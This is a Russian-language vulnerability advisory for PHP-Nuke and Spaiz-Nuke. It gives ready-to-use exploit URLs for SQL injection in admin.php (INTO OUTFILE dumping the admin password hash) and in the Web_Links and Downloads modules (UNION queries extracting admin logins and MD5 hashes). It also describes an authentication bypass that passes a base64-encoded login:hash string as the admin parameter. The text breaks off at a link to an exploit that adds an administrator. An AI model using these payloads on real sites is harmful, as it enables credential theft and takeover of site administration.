Программа: Spaiz-Nuke версии <=1.2beta, PHP-nuke все версии
Несколько уязвимостей обнаружено в Spaiz-Nuke и PHP-nuke. Удаленный пользователь может выполнить произвольный Sql код на уязвимой системе. Удаленный пользователь может получить доступ к системе без пароля.
1. sql-кода в модуле администрирования
Уязвимость обнаружена в сценарии auth.php в функции проверки логина и пароля. Атакующий может получить зашифрованный пароль администратора. Отсутствие проверки ввода обнаружено в переменной $aid содержащей логин для авторизации. Используя кавычку можно перенаправить вывод в произвольный файл на сервере. Эксплоит:
www.site.com/admin.php?op= login&pwd=123&aid=Admin' %20INTO%20OUTFILE%
20'/path_to_file/pwd.txt
(проверялось только на spaiz-nuke) После ввода данной строки в браузере на уязвимом сервере будет создан файл /path_to_file/pwd.txt содержащий зашифрованный пароль для логина
"Admin".
2. Внедрение sql-кода в модуле web_links
Отсутствие проверки ввода обнаружено в переменной $cid в модуле web-links. Атакующий может внедрить произвольный sql-код.
Эксплоит:
Следующий эксплоит показывает пример получения логинов и зашифрованных паролей администраторов движка. Работает на БД поддерживающих команду UNION (mysql>4) Для других БД необходимо изменять вид sql-запроса.
Для php-nuke
Данная строка выдаст все логины:
www.site.com/modules.php? name=Web_Links&l_op=viewlink& cid=2%20UNION%20sele
ct% 20counter,%20aid,%20pwd% 20FROM%20nuke_authors%20--
Данная строка выдаст все зашифрованные пароли:
www.site.com/modules.php? name=Web_Links&l_op=viewlink&cid=
2%20UNION%20sele ct% 20counter,%20pwd,%20aid%2 0FROM%20nuke_authors%20--
Для spaiz-nuke
Изменить nuke_authors в строке на spnuke_authors
3. Внедрение sql-кода в модуле download *
Эксплоит:
Для php-nuke
www.site.com/modules.php? name=Downloads&d_op=viewdownload& cid=2%20UNION%20
select% 20counter,%20aid,%20pwd% 20FROM%20nuke_authors%20--
Для spaiz-nuke также как и в предыдущем случае.
4. Доступ без расшифровки пароля
Пароли данного движка шифруются с помощью алгоритма md5 однако атакующий может получить доступ даже не зная расшифрованного пароля.
Эксплоит:
Сначала следует зашифровать полученные логин и зашифрованный md5 пароль с помощью алгоритма base64.
Сделать это можно например здесь: http://www.isecurelabs.com/base64.php.
Шифруем этим алгоритмом следующую строку:
login:crypt_passwd:
где
login=логин
crypt_passwd=зашифрованный пароль.
Получаем хеш.
Например для admin:21232f297a57a5a743894a0e4a801fc3: хеш будет следующим:
YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Теперь можно получить доступ к панели администрирования используя следующий урл:
www.site.com/admin.php?admin=ваш_хэш
Вручную использование данной уязвимости немного неудобно поэтому был написан сплоит позволяющий добавить нового администратора со всеми правами. Посмотреть сплоит можно здесь: